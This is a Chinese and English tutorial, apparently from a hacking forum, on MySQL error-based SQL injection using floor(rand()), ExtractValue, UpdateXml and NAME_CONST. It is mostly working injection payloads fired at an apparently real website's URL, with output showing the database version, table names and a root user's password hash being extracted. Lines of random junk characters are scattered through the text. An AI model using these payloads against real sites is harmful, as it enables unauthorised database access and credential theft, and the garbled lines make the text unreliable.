mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
3 U; b  x7 X0 o首先进行正常查询：

mysql> select * from article where id = 1;
! C! q; d0 y( @9 c+—-+——-+———+
| id | title | content |
+—-+——-+———+
; f1 Z+ O7 `, P! E|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
4 T+ h0 v& V7 E  Q  v- i* OERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
/ ~; M3 {9 @/ o1 U例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
6 O) ?/ S9 U) M8 d8 B) ]1 _ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
: v. _% U; z5 L8 H; Y  S# mERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

! c, z  t7 |7 k: o( O

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

& x) ~2 H0 @( ~* ^' [http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
' e7 ]) r; g* e. C
: [7 r! j5 v( AErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

# q( X9 M4 n  |( F0 vMYSQL高版本报错注入技巧-利用NAME_CONST注入
" b5 R5 x/ V+ PIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
/ t8 d. U$ f) @

相关信息
" a: S& S2 [4 j7 o$ l
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

' \& s; r, k8 A8 ~- Z9 ECode:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

+ t& o" ]  Y4 F$ h  I* M2 C; TSELECT NAME_CONST('TEST', 1)
' q9 `; @$ K0 `8 C  D

0 r; {0 c: q9 ~- u, ?! H1 H& j/ ~
|---------------|
|     TEST      |
9 ], T4 U0 X8 r/ x/ p' ?) A$ i|               |
|---------------|
|       1       |
|               |
|---------------|
5 i3 I6 t- J, N' e+ M3 V& m6 R0 z


" C9 `+ F9 I( ~
4 @4 |1 H1 d# Z+ c* v" vhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
4 c2 U) b5 G, I! M6 E8 zIntro to MySQL Variables

1 }( O0 q- Q1 J" ]' S" AOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

# }9 ?7 _# ]- q0 M: U9 A' BCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

5 @! Y# ?9 v6 q7 f* l


; ?  [4 e- R5 D6 |4 T/ B9 n* I" O3 u
  ^. D: C% Y3 ]* J0 bCode:
/ i# ^" f0 B; O! R- J: A/ Land+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.
' Q  R5 i/ n  s2 `
. q' q8 D8 k7 [0 }" HMySQL 5.1.3 Server System Variables

Let's try it out on my site..

2 l8 [" V/ ?4 L. k  mCode:
2 w8 p: @. ], o# x, Khttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
7 a2 c: ~/ u/ ~1 t  w, |7 U2 V5 z
Erroruplicate column name '5.0.27-community-nt'

4 ^6 d; w& \! Q. c8 q" b( S( l: F
7 C& o% ^& \# M$ O( S& S

; e' z1 c) ^6 e8 S
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
  M# I1 k/ }5 D  _( W2 x9 c6 l" e
Data Extraction
! Z' `* R' T$ c% c# q. t
( K7 I! }3 k5 R7 s5 ?/ A0 m( B& v5 ECode:
% E& k% {! ~% D+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...

Code:
+ X) ]% z  j2 m* D* m7 ?' S3 Vhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

5 a; }- {: o1 I' F' `( nErroruplicate column name '1

) N) L( W" z. Q/ V' G# q% p3 i



' o" n# Z$ z5 j; P2 B
- ]  k. M7 @' |$ Z# R2 w  v) tNow let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

: s+ M4 ~8 a9 a8 c, a/ H3 S
% Q+ ]) p9 `! I0 vLet's see if it works here, if it does, we can go on and finish the job.

) Z; z1 ~  D. u! z; b2 [Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 m3 k( y" f5 e: P" ?# p( u

% q* {% W/ h" l0 G/ pErroruplicate column name 'com_admanage
: r: x. T4 ]  |, R+ j: g
6 C0 n& L$ M' c. n/ F4 q
7 c5 A* `( r/ g7 K+ l
2 M* ?0 A  y8 V6 A4 t1 @
$ ]* d1 \1 V; m7 R  X

- N4 j# V8 G8 x9 ^! X& P2 \- S& nNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
6 {: U* [- k- _8 d
5 F( ~: m/ L" v5 }& F* v2 yLet's get the columns out of the user table..

( c" X# j2 `  i$ FCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
( [6 d. O" V$ ^

- R3 v! l2 Z/ Q4 _4 p3 M& TSo mine looks like this, and I get the duplicate column name 'Host'.

Code:
, |6 g* H& H4 L$ @, U! [http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
. c0 \5 j0 V& Y3 i# [# q
8 s5 N1 d5 A# p% l( iErroruplicate column name 'Host'
! B' E5 \3 d0 E! w. e

4 l% J" }7 l* D, @3 C
, E5 g: ~- n! x: P
- _" E' v( C: E- S* [
. Y# ^# @2 @, D* S' d4 N3 w2 \
Woot, time to finish this bitch off.

. b$ s3 j6 u; D: {  q8 w  |- @Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

! p$ m, I( V5 }6 L
) V1 h5 [* b  W& A1 nSo mine looks like this...
9 j/ j. Z4 e) Y8 R$ k
! `* x' H3 Z4 QCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
0 E9 }$ ~4 q% B: B) P8 \
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

1 f' @( Z+ b- [6 D# o3 e, ?0 k
1 R3 }7 Q) o2 J8 F
. }1 a% N# @0 X8 d' A; R
! f0 b: a% P* _9 `2 J4 j& q

And there we have it, thanks for reading.
) Z7 O( V+ o2 n* r# {